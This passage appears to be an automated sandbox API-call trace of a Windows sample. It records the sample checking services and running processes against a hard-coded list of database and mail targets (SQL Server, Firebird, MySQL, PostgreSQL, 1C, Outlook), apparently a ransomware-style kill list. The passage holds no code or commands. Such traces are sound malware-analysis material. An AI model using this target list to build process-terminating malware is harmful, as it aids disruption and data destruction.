lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0044.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0044.995] lstrlenW (lpString="PlugPlay") returned 8 [0044.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0044.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0044.995] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0044.995] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0044.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0044.995] lstrlenW (lpString="Power") returned 5 [0044.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0044.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0044.995] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0044.995] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0044.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0044.995] lstrlenW (lpString="ProfSvc") returned 7 [0044.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0044.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0044.995] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0044.995] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0044.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0044.996] lstrlenW (lpString="RpcEptMapper") returned 12 [0044.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0044.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0044.996] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0044.996] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0044.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0044.996] lstrlenW (lpString="RpcSs") returned 5 [0044.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0044.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0044.996] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0044.996] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0044.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0044.996] lstrlenW (lpString="SamSs") returned 5 [0044.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0044.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0044.996] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0044.996] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0044.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0044.996] lstrlenW (lpString="Schedule") returned 8 [0044.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0044.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0044.996] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0044.996] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0044.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0044.996] lstrlenW (lpString="SENS") returned 4 [0044.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0044.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0044.996] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0044.996] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0044.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0044.997] lstrlenW (lpString="ShellHWDetection") returned 16 [0044.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0044.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0044.997] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0044.997] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0044.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0044.997] lstrlenW (lpString="Spooler") returned 7 [0044.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0044.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0044.997] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0044.997] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0044.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0044.997] lstrlenW (lpString="swprv") returned 5 [0044.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0044.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0044.997] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0044.997] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0044.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0044.997] lstrlenW (lpString="SysMain") returned 7 [0044.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0044.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0044.997] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0044.997] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0044.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0044.997] lstrlenW (lpString="Themes") returned 6 [0044.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0044.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0044.997] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0044.997] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0044.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0044.997] lstrlenW (lpString="TrkWks") returned 6 [0044.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0044.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0044.998] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0044.998] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0044.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0044.998] lstrlenW (lpString="UxSms") returned 5 [0044.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0044.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0044.998] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0044.998] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0044.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0044.998] lstrlenW (lpString="VSS") returned 3 [0044.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0044.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0044.998] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0044.998] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0044.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0044.998] lstrlenW (lpString="WdiServiceHost") returned 14 [0044.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0044.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0044.998] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0044.998] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0044.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0044.998] lstrlenW (lpString="WdiSystemHost") returned 13 [0044.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0044.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0044.998] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0044.998] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0044.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0044.998] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0044.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0044.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0044.998] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0044.998] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0044.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0044.999] lstrlenW (lpString="Winmgmt") returned 7 [0044.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0044.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0044.999] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0044.999] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0044.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0044.999] lstrlenW (lpString="WPDBusEnum") returned 10 [0044.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0044.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0044.999] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0044.999] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0044.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0044.999] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f300d8 | out: hHeap=0x790000) returned 1 [0044.999] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3d8 [0045.001] Process32FirstW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0045.001] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0045.002] lstrlenW (lpString="System") returned 6 [0045.002] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0045.002] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0045.002] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0045.002] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0045.002] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0045.002] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0045.002] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0045.002] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0045.002] lstrlenW (lpString="smss.exe") returned 8 [0045.002] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0045.002] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0045.002] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0045.002] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0045.003] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0045.003] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0045.003] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0045.003] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0045.003] lstrlenW (lpString="csrss.exe") returned 9 [0045.003] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0045.003] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0045.003] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0045.003] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0045.003] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0045.003] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0045.003] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0045.003] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0045.003] lstrlenW (lpString="wininit.exe") returned 11 [0045.003] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0045.003] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0045.003] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0045.004] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0045.004] lstrlenW (lpString="csrss.exe") returned 9 [0045.004] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0045.004] lstrlenW (lpString="winlogon.exe") returned 12 [0045.004] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0045.004] lstrlenW (lpString="services.exe") returned 12 [0045.004] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0045.005] lstrlenW (lpString="lsass.exe") returned 9 [0045.005] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0045.005] lstrlenW (lpString="lsm.exe") returned 7 [0045.005] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.005] lstrlenW (lpString="svchost.exe") returned 11 [0045.005] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.006] lstrlenW (lpString="svchost.exe") returned 11 [0045.006] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.006] lstrlenW (lpString="svchost.exe") returned 11 [0045.006] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.006] lstrlenW (lpString="svchost.exe") returned 11 [0045.006] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.006] lstrlenW (lpString="svchost.exe") returned 11 [0045.006] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0045.007] lstrlenW (lpString="audiodg.exe") returned 11 [0045.007] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.007] lstrlenW (lpString="svchost.exe") returned 11 [0045.007] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.007] lstrlenW (lpString="svchost.exe") returned 11 [0045.007] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0045.007] lstrlenW (lpString="dwm.exe") returned 7 [0045.008] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0045.008] lstrlenW (lpString="explorer.exe") returned 12 [0045.008] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0045.008] lstrlenW (lpString="spoolsv.exe") returned 11 [0045.008] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0045.008] lstrlenW (lpString="taskhost.exe") returned 12 [0045.008] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.009] lstrlenW (lpString="svchost.exe") returned 11 [0045.009] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0045.009] lstrlenW (lpString="taskeng.exe") returned 11 [0045.009] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0045.009] lstrlenW (lpString="taskhost.exe") returned 12 [0045.009] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0045.011] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0045.011] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0045.011] lstrlenW (lpString="noticed.exe") returned 11 [0045.011] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0045.011] lstrlenW (lpString="uploaded.exe") returned 12 [0045.011] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0045.012] lstrlenW (lpString="hardware.exe") returned 12 [0045.012] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0045.012] lstrlenW (lpString="oracle.exe") returned 10 [0045.012] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0045.012] lstrlenW (lpString="creativity.exe") returned 14 [0045.012] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0045.013] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0045.013] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0045.013] lstrlenW (lpString="edited.exe") returned 10 [0045.013] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0045.013] lstrlenW (lpString="custody.exe") returned 11 [0045.013] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0045.013] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0045.013] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0045.014] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0045.014] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0045.014] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0045.014] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0045.014] lstrlenW (lpString="radius.exe") returned 10 [0045.014] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, 